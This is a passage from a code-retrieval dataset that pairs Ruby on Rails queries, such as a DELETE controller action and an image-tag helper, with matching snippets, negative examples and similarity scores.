next_actions(prior_action_ids, options={})\n return send_message(SkyDB::Message::NextActions.new(prior_action_ids, options))\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @resources = args[:resources] if args.key?(:resources)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @resources = args[:resources] if args.key?(:resources)\n end", "def update\n @next_step = NextStep.find(params[:id])\n\n respond_to do |format|\n if @next_step.update_attributes(params[:next_step])\n format.html { redirect_to :back, notice: 'Next step was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @responses = args[:responses] if args.key?(:responses)\n end", "def put(action, **args); end", "def add_actions(count)\n update_attributes(actions: actions + count)\n end", "def update\n unless @action.nil?\n log_action( action.name, @environment[:api_key] )\n\n @success.call( action ) if @success && @action\n @action = nil;\n end\n end", "def update\n respond_to do |format|\n if @next_step.update(next_step_params)\n format.html { redirect_to @next_step, notice: 'Next step was successfully updated.' }\n format.json { render :show, status: :ok, location: @next_step }\n else\n format.html { render :edit }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def next_phase\n\t\t@current = Iteration.get_current\n\t\[email protected] = case @current.status\n\t\t\t\twhen \"ideas\" then \"proposals\"\n\t\t\t\twhen \"proposals\" then \"voting\"\n\t\t\t\telse \"voting\"\n\t\t\tend\n\t\[email protected]\n\t\trender json: {:status => @current.status}\n\tend", "def update!(**args)\n @intents = args[:intents] if args.key?(:intents)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @resources = args[:resources] if args.key?(:resources)\n end", "def update!(**args)\n @successful_actions = args[:successful_actions] if args.key?(:successful_actions)\n @total_actions = args[:total_actions] if args.key?(:total_actions)\n end", "def enqueue_action_single_resource(action, type, id)\n raise BadRequestError, \"Must specify an id for changing a #{type} resource\" unless id\n\n physical_switch = resource_search(id, type, collection_class(type))\n\n api_action(type, id) do\n begin\n desc = \"Performing #{action} for #{physical_switch_ident(physical_switch)}\"\n api_log_info(desc)\n task_id = queue_object_action(physical_switch, desc, :method_name => action, :role => :ems_operations)\n action_result(true, desc, :task_id => task_id)\n rescue StandardError => err\n action_result(false, err.to_s)\n end\n end\n end", "def actions\n client.actions\n end", "def update!(**args)\n @resource_descriptors = args[:resource_descriptors] if args.key?(:resource_descriptors)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @resources = args[:resources] if args.key?(:resources)\n @unreachable = args[:unreachable] if args.key?(:unreachable)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @resources = args[:resources] if args.key?(:resources)\n @unreachable = args[:unreachable] if args.key?(:unreachable)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @unreachable = args[:unreachable] if args.key?(:unreachable)\n @workflow_invocations = args[:workflow_invocations] if args.key?(:workflow_invocations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @persistent_resources = args[:persistent_resources] if args.key?(:persistent_resources)\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def update!(**args)\n @activities = args[:activities] if args.key?(:activities)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @activities = args[:activities] if args.key?(:activities)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def actions=(value)\n @actions = value\n end", "def actions=(action)\n @actions << action \n end", "def perform_next_action\n return false if @actions.empty?\n action = @actions.pop\n log_debug(\"Current action : #{action}\")\n send(\"perform_action_#{action[:type]}\", action)\n return true\n end", "def next_observation # :nologin: :norobots:\n redirect_to_next_object(:next, Observation, params[:id].to_s)\n end", "def set_action\n @action = Action.find(params[:id])\n end", "def set_next\n @activity_sequence = ActivitySequence.find(params[:id]) \n @activity_sequence.set_next\n redirect_to myp_path(@activity_sequence.current_activity)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @tasks = args[:tasks] if args.key?(:tasks)\n end", "def update\n @instance_action = InstanceAction.find(params[:id])\n\n respond_to do |format|\n if @instance_action.update_attributes(params[:instance_action])\n format.html { redirect_to @instance_action, notice: 'Instance action was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instance_action.errors, status: :unprocessable_entity }\n end\n end\n end", "def task_action\n action = params[:task_action]\n @task.update status: action \n respond_to do |format|\n format.html { redirect_to edit_ticket_path(@ticket), notice: \"Task #{action}.\" }\n format.json { head :no_content }\n end\n end", "def con_pull_action(input, args)\n\t\troute = @routing_table.find { |r| r.name == @context_arg }\n\n\t\tid = args[:action].to_i\n\t\taction = route.actions[id]\n\n\t\tif id >= 1\n\t\t\troute.actions.insert(id - 1, action)\n\t\t\troute.actions.delete_at(id + 1)\n\t\tend\n\tend", "def update!(**args)\n @compilation_result_actions = args[:compilation_result_actions] if args.key?(:compilation_result_actions)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def put(action, params={}, options={})\n request(:put, action, params, options)\n end", "def update\n render status: 501, json: { errors: ['Action not implemented yet!'] }\n end", "def action\n end", "def acquire_action\n case @event['action']\n when 'create'\n 'error'\n when 'resolve'\n 'success'\n end\n end", "def actions; end", "def actions!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n type = ACTIONS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 142:11: 'actions'\n match( \"actions\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end", "def update(action)\n return unless action[:type] == action_type\n\n super\n end", "def add_actions; end", "def set_action(action)\n @action = action\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @restores = args[:restores] if args.key?(:restores)\n @unreachable = args[:unreachable] if args.key?(:unreachable)\n end", "def update!(**args)\n @inventories = args[:inventories] if args.key?(:inventories)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @artifacts = args[:artifacts] if args.key?(:artifacts)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @os_policy_assignments = args[:os_policy_assignments] if args.key?(:os_policy_assignments)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @os_policy_assignments = args[:os_policy_assignments] if args.key?(:os_policy_assignments)\n end", "def action\n end", "def update!(**args)\n @attestors = args[:attestors] if args.key?(:attestors)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @endpoints = args[:endpoints] if args.key?(:endpoints)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @rule_actions_pairs = args[:rule_actions_pairs] if args.key?(:rule_actions_pairs)\n end", "def perform(action)\n case action\n when :index, :new then get action\n when :show, :edit then get action, id: 1\n when :update then put :update, id: 1\n when :create then post :create\n when :destroy then delete :destroy, id: 1\n end\n end", "def update\n respond_to do |format|\n if @event_action.update(event_action_params)\n format.html { redirect_to @event_action, notice: \"Event action was successfully updated.\" }\n format.json { render :show, status: :ok, location: @event_action }\n else\n format.html { render :edit }\n format.json { render json: @event_action.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6955463", "0.63703656", "0.62510127", "0.62441003", "0.61174613", "0.60265386", "0.6008339", "0.5962743", "0.59089756", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59064907", "0.59048164", "0.590415", "0.58960825", "0.5883316", "0.58647746", "0.58647746", "0.58647746", "0.58647746", "0.5860503", "0.5828776", "0.57941574", "0.57873964", "0.57873964", "0.5777813", "0.5775393", "0.5730255", "0.5696786", "0.5693354", "0.56482494", "0.5595231", "0.55234987", "0.5521741", "0.5492611", "0.5465354", "0.54390794", "0.5436436", "0.54339975", "0.54339975", "0.5425017", "0.54206306", "0.54124504", "0.5392315", "0.5392315", "0.53834224", "0.53723866", "0.5349115", "0.53385884", "0.53363425", "0.53266394", "0.53194493", "0.5296879", "0.5281775", "0.52790904", "0.5270591", "0.52660215", "0.5252798", "0.52511925", "0.5246622", "0.52357626", "0.52334166", "0.521785", "0.5217778", "0.52164036", "0.5216295", "0.52108634", "0.5198493", "0.51975644", "0.51975644", "0.5196874", "0.51916635", "0.5189857", "0.51894146", "0.5188537", "0.51808786" ]
0.72105753
0
DELETE /next_actions/1 DELETE /next_actions/1.json
def destroy @next_action = NextAction.find(params[:id]) @next_action.destroy respond_to do |format| format.html { redirect_to actions_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n ruta = \"/actions/#{action_id}\"\n client.delete(ruta)\n end", "def delete(action, **args); end", "def destroy\n @next_step = NextStep.find(params[:id])\n @next_step.destroy\n\n respond_to do |format|\n format.html { redirect_to next_steps_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @xaction = Xaction.find(params[:id])\n @xaction.destroy\n\n respond_to do |format|\n format.html { redirect_to xactions_url }\n format.json { head :no_content }\n end\n end", "def delete; rest_delete(link('self')); end", "def delete; rest_delete(link('self')); end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def api_delete(action, data)\n api_request(action, data, 'DELETE')\n end", "def destroy\n head :forbidden\n # @action = Action.find(params[:id])\n # @action.destroy\n\n # head :no_content\n end", "def destroy\n @instance_action = InstanceAction.find(params[:id])\n @instance_action.destroy\n\n respond_to do |format|\n format.html { redirect_to instance_actions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @verb.destroy\n\n head :no_content\n end", "def destroy\n @api_state.destroy\n\n head :no_content\n end", "def destroy\n @action_name = ActionName.find(params[:id])\n @action_name.destroy\n\n respond_to do |format|\n format.html { redirect_to action_names_url }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @tracked_action = TrackedAction.find(params[:id])\n @tracked_action.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_tracked_actions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @next_step.destroy\n respond_to do |format|\n format.html { redirect_to next_steps_url, notice: 'Next step was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @actions << :destroy\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete(payload = {})\n request! do\n options = {payload: to_payload(payload)}\n api(options)[url.path].delete(API_HEADERS)\n end\n end", "def destroy\n @dosha_action.destroy\n respond_to do |format|\n format.html { redirect_to dosha_actions_url }\n format.json { head :no_content }\n end\n end", "def delete\n\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def delete!\n request! :delete\n end", "def delete(action = 'Objective Action')\n click_on(SELECTOR_MAPPING[action]['Delete']['button'][$janus::ELEMENT])\n end", "def deleteRequest\n\n end", "def delete\n api(\"Delete\")\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def destroy\n @my_action.destroy\n respond_to do |format|\n format.html { redirect_to my_actions_url, notice: 'My action was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tredit_action = TreditAction.find(params[:id])\n @tredit_action.destroy\n\n respond_to do |format|\n format.html { redirect_to tredit_actions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tredit_action = TreditAction.find(params[:id])\n @tredit_action.destroy\n\n respond_to do |format|\n format.html { redirect_to tredit_actions_url }\n format.json { head :no_content }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def delete_resource_action(type, id = nil, data = nil)\n api_resource(type, id, \"Detaching\") do |resource|\n delete_resource_main_action(type, resource, data)\n end\n end", "def destroy\n @payable_action = PayableAction.find(params[:id])\n @payable_action.destroy\n\n respond_to do |format|\n format.html { redirect_to(payable_actions_url) }\n format.xml { head :ok }\n end\n end", "def delete(*rest) end", "def delete\n \n end", "def destroy\n render status: 501, json: { errors: ['Action not implemented yet!'] }\n end", "def destroy\n @actum.destroy\n respond_to do |format|\n format.html { redirect_to acta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n head :unauthorized\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def destroy\n @target.destroy\n respond_to do |format|\n format.html { redirect_to after_write_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @verb.destroy\n respond_to do |format|\n format.html { redirect_to verbs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @short_url.destroy\n render json: { status: \"Deleted\" }\n else\n render json: { head: \"no content\" }\n end \n end", "def destroy\n @action_file = ActionFile.find(params[:id])\n @action_file.destroy\n\n respond_to do |format|\n format.html { redirect_to action_files_url }\n format.json { head :no_content }\n end\n end", "def delete\n delete_from_server single_url\n end", "def destroy\n @admin_action.destroy\n respond_to do |format|\n format.html { redirect_to admin_actions_url, notice: 'Admin action was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n api_client.delete(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy_rest\n @page_usage_event = PageUsageEvent.find(params[:id])\n @page_usage_event.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_usage_events_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n #\n end", "def destroy\n #\n end", "def destroy\n @hit = Hit.find(params[:id])\n @hit.reactions.destroy_all\n @hit.destroy\n\n respond_to do |format|\n format.html { redirect_to hits_url }\n format.json { head :no_content }\n end\n end", "def delete\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end", "def destroy\n end" ]
[ "0.7581382", "0.69087195", "0.6464412", "0.645249", "0.6404421", "0.6404421", "0.6402229", "0.6400883", "0.6377735", "0.6377574", "0.63199025", "0.63145983", "0.62911147", "0.6275194", "0.6254454", "0.62527305", "0.62346315", "0.61927235", "0.6176248", "0.6176248", "0.6176248", "0.6176248", "0.61688334", "0.6168304", "0.61624944", "0.61550486", "0.6146946", "0.613559", "0.6122022", "0.61207813", "0.61054206", "0.6102533", "0.6099112", "0.6099112", "0.6099112", "0.6099112", "0.6099112", "0.6099112", "0.6099112", "0.6094026", "0.60842854", "0.60804003", "0.60804003", "0.6077214", "0.60646796", "0.6042898", "0.6040101", "0.6029143", "0.6026841", "0.60246027", "0.6011455", "0.60046315", "0.59948754", "0.5985649", "0.59855276", "0.59825516", "0.5976341", "0.5971499", "0.5968856", "0.5967218", "0.5967218", "0.59587646", "0.5951892", "0.5951892", "0.59499335", "0.5949887", "0.59388834", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219", "0.5938219" ]
0.7749014
0
MM2: Overwrite the default cubeless engine marketing_image_tag method to change the width and height
def marketing_image_tag(message) link_to_if(message.link_to_url, image_tag( marketing_image_path(message), :alt => '', :width => "394", :height => "150"),message.link_to_url) if message end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def display_image \r\n self.image.variant(resize_to_limit: [1000, 1000]) \r\n end", "def course_image_preview(entity)\n return '' if entity.image.blank?\n\n versions = \"#{entity.image.preview_2x.url} 2x\"\n image_tag(entity.image.preview.url, alt: entity.title, srcset: versions)\n end", "def xf_image_tag (src, attrs = {})\n attrs = attrs.symbolize_keys()\n content = \"\"\n caption = attrs.delete(:caption)\n unless caption.nil?\n content += typeWithAttrs(\"caption\", caption, nil, xhtml2prefix)\n end\n width = attrs.delete(:width)\n unless width.nil?\n content += typeWithAttrs(\"param\", nil, {:name => \"mcs-aspect-ratio-width\", :value => width}, xhtml2prefix)\n end\n height = attrs.delete(:height)\n unless height.nil?\n content += typeWithAttrs(\"param\", nil, {:name => \"mcs-aspect-ratio-height\", :value => height}, xhtml2prefix)\n end\n attrs[:src] = src\n typeWithAttrs(\"object\", content, attrs, xhtml2prefix)\n end", "def display_image\n image.variant(resize_to_limit: [500,500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def display_image\n image.variant(resize_to_limit: [500, 500])\n end", "def render_image\n render_image_iterm2\n end", "def mercury_image_tag(mercury_image, options)\n assign_dimensions(mercury_image, options)\n mercury_image(mercury_image, options)\n end", "def display_image\n image.variant resize_to_limit: Settings.validation.post.img_resize\n end", "def logo\n image_tag(\"boulder.png\", :width => \"100\", \n :height => \"75\",\n :alt => \"Learning RoR\", \n :class => \"round\")\n end", "def set_img\n\n end", "def course_image_small(entity, add_options = {})\n return '' if entity.image.blank?\n\n alt_text = entity.image_alt_text.to_s\n versions = \"#{entity.image.medium.url} 2x\"\n options = { alt: alt_text, srcset: versions }.merge(add_options)\n image_tag(entity.image.small.url, options)\n end", "def logo_tag\n image_tag \"rails.png\", :alt => @page_title\n end", "def logo\n logo=image_tag(\"rails.png\" , :alt=>\"Sample app\" ,:class=>\"round\")\n end", "def simple_picture_tag(asset_object, version = :medium, options = {})\n picture_tag([\n {:media => \"(min-width: 521px)\", :srcset => asset_object.mounted_file.send(version).url},\n {:media => \"(max-width: 520px)\", :srcset => \"#{asset_object.mounted_file.grid.url} 1x, #{asset_object.mounted_file.medium.url} 2x\"},\n {:srcset => \"#{asset_object.mounted_file.grid.url}\"}\n ], asset_object.mounted_file.grid.url, options)\n end", "def medium_image_tag\n image_tag medium_image_path, alt: @picture.alt_text, class: 'medium-image', title: @picture.title\n end", "def image_for(movie)\n if movie.image.exists?\n image_tag(movie.image.url,size: \"90x124\")\n else\n image_tag('placeholder.png')\n end\n end", "def image; end", "def course_image_medium(entity, add_options = {})\n return '' if entity.image.blank?\n\n alt_text = entity.image_alt_text.to_s\n versions = \"#{entity.image.big.url} 2x\"\n options = { alt: alt_text, srcset: versions }.merge(add_options)\n image_tag(entity.image.medium.url, options)\n end", "def facebook_image_tag(name,options={})\n tag \"img\",:src=>\"http://#{ENV['FACEBOOKER_STATIC_HOST']}#{image_path(name)}\"\n end", "def show_image\n if @wine.picture.attached?\n image_tag(@wine.picture.service_url, alt: \"your_image\", height: \"250\", style: \"border: 1px solid #220F24\")\n end\n end", "def professor_image\n image_tag(\"professor.jpg\", :size => \"50x50\", :border => \"0\", :alt => \"These fields can be edited by a faculty role\", :title => \"Faculty role\")\n end", "def entity_image_url(entity, size) \n url = entity.image_url(size).nil? ? \"default-#{size}.jpg\" : entity.image_url(size).to_s \n link_to image_tag(url), entity, :border => 0, :id => \"persona-rant-widget-image\"\n end", "def image_for(id, size=:source)\n image_tag \"https://spoonacular.com/recipeImages/#{id}-#{IMAGE_SIZES[size]}\"\n end", "def render_small_post_image_for(post)\n if post.image?\n image_tag(post.image_thumb.url, class: 'media-object thumbnail')\n else\n image_tag('fallback/default_image.jpg', class: 'media-object thumbnail', height: '50px', width: '75px')\n end\n end", "def thumbnail_image\n end", "def spacer(width = 10)\n image_tag \"1x1.gif\", :width => width, :height => 1, :alt => nil\n end", "def software_image\n super\n end", "def default_image\n end", "def vimeo_image_tag vimeo_object, sizes, **args\n capture do\n # Render a basic fallback incase javascript isn't enabled/supported\n concat content_tag(:noscript, tag.img(src: vimeo_object[:thumbnail], **args))\n # Pass our components to another function to build the picture tag\n concat picture_tag(vimeo_object[:thumbnail], vimeo_object[:thumbnail_srcset], nil, sizes, **args)\n end\n end", "def thumbnail_image(size = :medium)\n if !remote_image.blank?\n return \"http://fffff.at/tempt1/photos/data/eyetags/thumb/#{self.attributes['remote_image'].gsub('gml','png')}\"\n # elsif Rails.env == 'development' && !File.exist?(self.image_path(size)) #don't do image 404s in development\n # return \"/images/defaults/tag_#{size.to_s}.jpg\"\n else\n return self.image(size)\n end\n end", "def main_preview_img_header_variant\n if realty.preview_img.attached?\n view_context.image_tag realty.preview_img.variant(resize: '750X484^').processed, class: 'img-responsive project_img_top box-shadow img-rounded'\n end\n end", "def portfolio_img img, type\n if img.is_a?(String)\n img\n elsif type == 'thumb'\n image_generator(height: '350', width: '200')\n else\n image_generator(height: '600', width: '400')\n end\n end", "def logo_url\n logo? ? h.image_tag(logo.thumb_medium, alt: 'Logo', width: 90) :\n h.content_tag(:span, initial, class: 'brand_img_holder', style: 'width:43px; height:43px;')\n end", "def style_image_tag(name,args={})\r\n image_tag(\"styles/#{CONFIG[:default_style]}/#{name}\",args)\r\n end", "def smart_image_tag source, sizes, **args\n if source.is_a?(MediaFileUploader)\n raise ArgumentError, \"Media file is not an image (#{source.type})\" unless source.image?\n return image_tag(source.url, **args) unless source.scalable_image?\n end\n\n srcset = []\n webp_srcset = []\n\n # Generate the srcset for both the webp, and fallback versions of the image.\n # This srcset will include every responsive image version available.\n source.versions.values.each do |version|\n srcset << \"#{version.url} #{version.width}w\"\n webp_srcset << \"#{version.webp.url} #{version.width}w\"\n end\n\n # Merge the srcsets into one string\n srcset = srcset.join(', ')\n webp_srcset = webp_srcset.join(', ')\n\n # Set the alt text to be the image file name, if an alt text has not been set.\n args[:alt] ||= source.identifier\n\n capture do\n # Render a basic fallback incase javascript isn't enabled/supported\n concat content_tag(:noscript, tag.img(src: source.url, **args))\n # Pass our components to another function to build the picture tag\n concat picture_tag(source.url, srcset, webp_srcset, sizes, **args)\n end\n end", "def tier_image_tag(tier, options={})\n defaults = case options[:name].to_s\n when /profile/ then {:size => '113x113', :title => \"#{h(tier.name)}\", :alt => h(tier.name)}\n else {:size => '35x35', :title => \"#{h(tier.name)}\", :alt => h(tier.name)}\n end\n options = defaults.merge(options).symbolize_keys\n image_tag(tier_image_path(tier, options), options)\n end", "def logo\n image_tag(\"logo.png\", :alt => \"Sample App\", :class => \"round\")\n end", "def logo\n image_tag(\"logo.png\", :alt => \"Sample App\", :class => \"round\")\n end", "def product_photo(product, style = product.photo.default_style, img_options = {})\n # add width and height attributes if the style has constant image dimensions\n img_options.reverse_merge! case style\n when :thumb then {:size => '75x75'}\n when :mobile_thumb then {:size => '40x40'}\n else {}\n end\n img_options.reverse_merge! :border => 0\n\n image_tag product.photo.url(style), img_options\n end", "def logo\r\n \tlogo = image_tag(\"logo.png\", :alt => \"mens fashion today\", :class => \"round\")\r\n end", "def page_asset_image_tag(image_file_name)\n %{<img src=\"#{page_assets_link_base}#{image_file_name}\" />}\n end", "def thumbnail(size); end", "def cms_image_tag(img_key, options = {})\n image_tag cms_image_url(img_key), options\n end", "def image_tag_with_engine_additions(source, options={})\r\n options.stringify_keys!\r\n if options[\"plugin\"]\r\n source = Engines::RailsExtensions::AssetHelpers.plugin_asset_path(options[\"plugin\"], \"images\", source)\r\n options.delete(\"plugin\")\r\n end\r\n image_tag_without_engine_additions(source, options)\r\n end", "def image_tag(path, params={})\n params.symbolize_keys!\n\n # We'll use these for different purposes below.\n file_name = File.basename( path )\n file_base = File.basename( path, '.*' )\n file_extn = File.extname( path )\n file_path = File.dirname( path )\n\n # Here's we're going to log missing images, i.e., images that\n # were requested for for which no file was found. Note that this\n # won't detect images requested via md ![tag][reference].\n checking_path = File.join(source_dir, path)\n unless File.exist?( checking_path )\n puts_red \"#{file_name} was requested but is not in the source!\"\n end\n\n # Here we're going to automatically substitute a target-specific image\n # if the specified image includes the magic prefix `all-`. We have to\n # make this check prior to the srcset below, so that srcset can check\n # for the existence of the correct, target-specific file we determine\n # here.\n if file_name.start_with?(\"all-\")\n proposed_name = file_name.sub(\"all-\", \"#{target_name}-\")\n checking_path = File.join(source_dir, file_path, proposed_name)\n\n if File.exist?( checking_path )\n file_name = proposed_name\n file_base = File.basename( file_name, '.*' )\n path = file_name\n end\n end\n\n # Here we're going to automatically include an @2x image in <img> tags\n # as a `srcset` attribute if there's not already a `srcset` present.\n if extensions[:Middlemac].options.Retina_Srcset\n\n unless params.key?(:srcset)\n proposed_name = \"#{file_base}@2x#{file_extn}\"\n checking_path = File.join(source_dir, file_path, proposed_name)\n\n if File.exist?( checking_path )\n srcset_img = File.join(file_path, \"#{file_base}@2x#{file_extn} 2x\")\n params[:srcset] = srcset_img\n end\n end\n\n end # if extensions\n\n super(path, params)\n end", "def logo\n image_tag('rubyLogo.png', alt: 'Ruby on Rails Sample App', class: 'round', height: \"50px\")\n end", "def display_image\n image.variant(combine_options: {\n auto_orient: true,\n gravity: \"center\",\n resize: \"250x250^\",\n crop: \"250x250+0+0\"\n })\n end", "def show\n maybe_update_aspect_ratio @image\n end", "def image_width\n end", "def smallworld_image(*args, &block)\n Smallworld::Image.define_smallworld_image(*args, &block)\nend", "def theme_image_tag(theme_name, source, options = {})\n options.symbolize_keys!\n \n options[:src] = path_to_theme_image(theme_name, source)\n options[:alt] ||= File.basename(options[:src], '.*').split('.').first.to_s.capitalize\n \n if size = options.delete(:size)\n options[:width], options[:height] = size.split(\"x\") if size =~ %r{^\\d+x\\d+$}\n end\n \n if mouseover = options.delete(:mouseover)\n options[:onmouseover] = \"this.src='#{image_path(mouseover)}'\"\n options[:onmouseout] = \"this.src='#{image_path(options[:src])}'\"\n end\n \n # copy the file\n tag = create_theme_image_tag(theme_name, source)\n if File.exist?(tag.asset_file_path)\n segments = [ASSETS_DIR, tag.public_path.split('?').first]\n #segments.insert 1, 'cache', @controller.site.perma_host if Site.multi_sites_enabled\n destination = File.join(segments)\n \n FileUtils.mkdir_p File.dirname(destination)\n FileUtils.cp tag.asset_file_path, destination\n end\n \n tag(\"img\", options)\n end", "def showtube_img_tag(vid, imwidth, imheight, html_options = {})\n image_tag(\"http://img.youtube.com/vi/#{vid}/0.jpg\", :size => \"#{imwidth}x#{imheight}\")\n end", "def setImage(image, width: nil, height: nil)\n @image = Asset.new(image)\n @image.resize(width, height) if (width != nil && height != nil)\n @image.applyOn(@imageBox)\n end", "def getImg(width=64, height=64)\n if self.image\n self.image+\"?width=#{width}&height=#{height}\"\n else\n \"no_image.png\"\n end\n end", "def cover_image\n end", "def imageNamed(name)\n sugarcube568_imageNamed(name) || imageNamed_old(name)\n end", "def scale\n scale_factor = 20 # template.png height divided by canvas height\n self.image_x *= scale_factor\n self.image_y *= scale_factor\n self.height *= scale_factor\n self.width *= scale_factor\n self.rotation *= 180 / Math::PI\n end", "def image\n end", "def image\n end", "def url(size = 'w80h80')\n raise 'Must have a template id and an id' unless self.template_id && self.id\n raise \"Unknown size #{size}\" unless SIZES.include?(size.to_s)\n \"http://www.kiva.org/img/#{size}/#{self.id}.jpg\"\n end", "def interchange_logo\n q = []\n q << \"[#{image_path(\"#{website.folder}/logo.png\")}, (default)]\"\n q << \"[#{image_path(\"#{website.folder}/logo.png\")}, (large)]\"\n q << \"[#{image_path(\"#{website.folder}/logo.png\")}, (medium)]\"\n q << \"[#{image_path(\"#{website.folder}/logo-sm.png\")}, (only screen and (max-width: 720px))]\"\n\n image_tag('', #\"#{website.folder}/logo.png\",\n class: \"no-resize no-resize-for-small\",\n alt: Setting.site_name(website),\n data: { interchange: q.join(\", \") })\n end", "def interchange_logo\n q = []\n q << \"[#{image_path(\"#{website.folder}/logo.png\")}, (default)]\"\n q << 